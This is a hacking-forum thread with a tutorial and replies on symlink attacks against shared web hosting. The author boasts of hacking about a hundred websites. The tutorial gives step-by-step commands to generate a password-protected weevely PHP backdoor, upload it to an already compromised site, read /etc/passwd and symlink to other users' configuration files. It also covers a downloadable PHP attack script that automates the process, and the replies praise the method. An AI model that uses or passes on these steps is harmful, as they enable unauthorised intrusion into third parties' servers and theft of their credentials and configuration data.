Symlinking tutorial | Manual & skidded

Symlinking tutorial | Manual & skidded - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Symlinking tutorial | Manual & skidded (/Thread-Symlinking-tutorial-Manual-skidded)

Pages: 1 2

Symlinking tutorial | Manual & skidded - Zayne - 05-13-2014

Understanding Symlink attacks.

Greetings, members of Sly.

I received a lot of questions on how I managed to 'hack' these one hundred websites. That's right, I used symbolic links to perform the attack.
Some of you or even most of you have probably heard of 'Symlink'. Symlink stands for symbolic link & it's basically a shortcut.
I rarely use this method, but it's fun practice if you can't manage to root the server on the website you shelled.

Symlink reads the /etc/passwd file. /etc/passwd is basically a text database of users who logged into the system.

Manual Symlinking

Requirements.
- Browser.
- Internet connection.
- Website shelled at shared hosting.
- weevly

Manual symlinking ain't hard, but it takes some time compared to automatic symlinking.
So first of all fire up your weevly, so we can create a backdoor at the website you have shelled.
[Image: DSelyyy.png]

As you can see in the picture we used 'cd' to locate to our weevely folder & used 'python' to launch our weevely.

Code:
python weevely.py generate skid /root/backdoor.php
Generate - Generates the file.
skid - is our password for the backdoor
/root/backdoor.php - that's our location to the backdoor.php we made

so now use your filemanager/shell & locate to your /root/ (or w/e u used) folder & upload the backdoor.php to the targeted website.

In my case, I uploaded the php weevely backdoor in the folder /tutorial/.

Quote:website.com/tutorials/backdoor.php

So back to the CLI (Command-line-interface),
[Image: hPPFFOY.png]

Quote:python weevely.py websites.com/tutorials/backdoor.php skid
skid = our password for the php weevely script.
websites.com/tutorials/backdoor.php = path to backdoor.php you uploaded.

Finally.. our backdoor is complete. As I said earlier you need to be able to read /etc/passwd, so in order to check if it's readable use cat /etc/passwd

Let's make it a bit more organized, create a new folder called w/e you want.
E.x. mkdir dogs
Now let's move our current position into that folder, cd dogs
Awesome! We're almost done!
Now just create the symlink like this ln -s path to configuration file xyz.txt

Automatic Symlinking

Requirements.
- Browser.
- Internet connection.
- Website shelled at shared hosting.
- Symlink script. HERE

So first of all, download the attack script from above & go to your shelled website; if you're just going to try on your hosting just upload a shell or upload the attack script directly w/e floats your boat.
As you can see here, I'm using this shitty shell and am uploading the script named 'retard.php'.
You do the exact same thing in your shell even then we're not using the same shell nor the same website.
[Image: TEKNESg.png]

Alright, so go to your url and type out the path to the php script that you just uploaded.
E.x. www.Russia.ru/retard.php & if you now can see the php script on the website; Good job! You managed to upload your script.
Notice that there are other methods to do symlinking, but this one is plain easy & novice friendly, basically nothing complicated involves this method in doing it.
Your php-script will look almost the same as mine, the only difference between yours & mine is that I deleted some unnecessary Indian stuff on yours. So it's almost identical.
[Image: vAhIe0i.png]

So as you can see my version has some Indian shit & other retarded gang stuff inside it.
Let's get started with the actual symlinking; First of all press the button called
'use to Generate PHP.ini' ; The button will generate the php.ini file for you.

Secondly press the second button named 'Use to Extract usernames'. This button will extract all the usernames for the symbolic link.
Now another button will appear on the screen,
[Image: C396Qof.png]

^ Press that one, I don't know what 'bhaiyu' means, but if you do; good for you.
Now press the 'text/button' called 'view configuration files' or something like that.
Congratulations you've now successfully symlinked a website.

RE: Symlinking tutorial | Manual & skidded - Adorapuff - 05-13-2014

Yet another informative and sexy tutorial by Zayne.

RE: Symlinking tutorial | Manual & skidded - Lotus Black - 05-13-2014

Awesome tutorial about symlinking. Really appreciated.

RE: Symlinking tutorial | Manual & skidded - Crypt - 05-13-2014

Nice. I've heard of weevely before but never considered using it until now.

RE: Symlinking tutorial | Manual & skidded - Dyme - 05-13-2014

(05-13-2014, 03:56 PM)Zayne Wrote: I received a lot of questions on how I managed to 'hack' these one hundred websites. That's right, I used symbolic links to perform the attack.

Zayne stop hacking hundreds of sites the feds are on to you. Also:

[Image: DSelyyy.png]

Does weevely require root perms now?

RE: Symlinking tutorial | Manual & skidded - Zayne - 05-13-2014

(05-13-2014, 06:51 PM)Dyme Wrote:

Zayne stop hacking hundreds of sites the feds are on to you. Also:

Does weevely require root perms now?

Yeah, I don't know. I had to use UID 0 to execute the python script I think due to the permissions. Otherwise, something else.

RE: Symlinking tutorial | Manual & skidded - Crypt - 05-13-2014

(05-13-2014, 06:51 PM)Dyme Wrote:

Zayne stop hacking hundreds of sites the feds are on to you. Also:

Does weevely require root perms now?

It didn't require root when I used it. Then again I have a mac, so it might be different.

RE: Symlinking tutorial | Manual & skidded - Alan Turing - 05-13-2014

Dude, your terminal colors kill me on the inside m888\

nice tutorial

RE: Symlinking tutorial | Manual & skidded - Dyme - 05-13-2014

(05-13-2014, 10:56 PM)Zayne Wrote: Yeah, I don't know. I had to use UID 0 to execute the python script I think due to the permissions. Otherwise, something else.

Yeah you prolly just pulled it as root and never changed ownership. I'm just tickling ur pickle m8.

RE: Symlinking tutorial | Manual & skidded - superMAUS - 05-14-2014

(05-13-2014, 10:56 PM)Zayne Wrote: Yeah, I don't know. I had to use UID 0 to execute the python script I think due to the permissions. Otherwise, something else.

l0l0l0l0l00l0l0l0l0l0l0l0.

Weevely is ok.

(05-13-2014, 11:23 PM)Kosaki Wrote: Dude, your terminal colors kill me on the inside m888\

nice tutorial

m8! so agree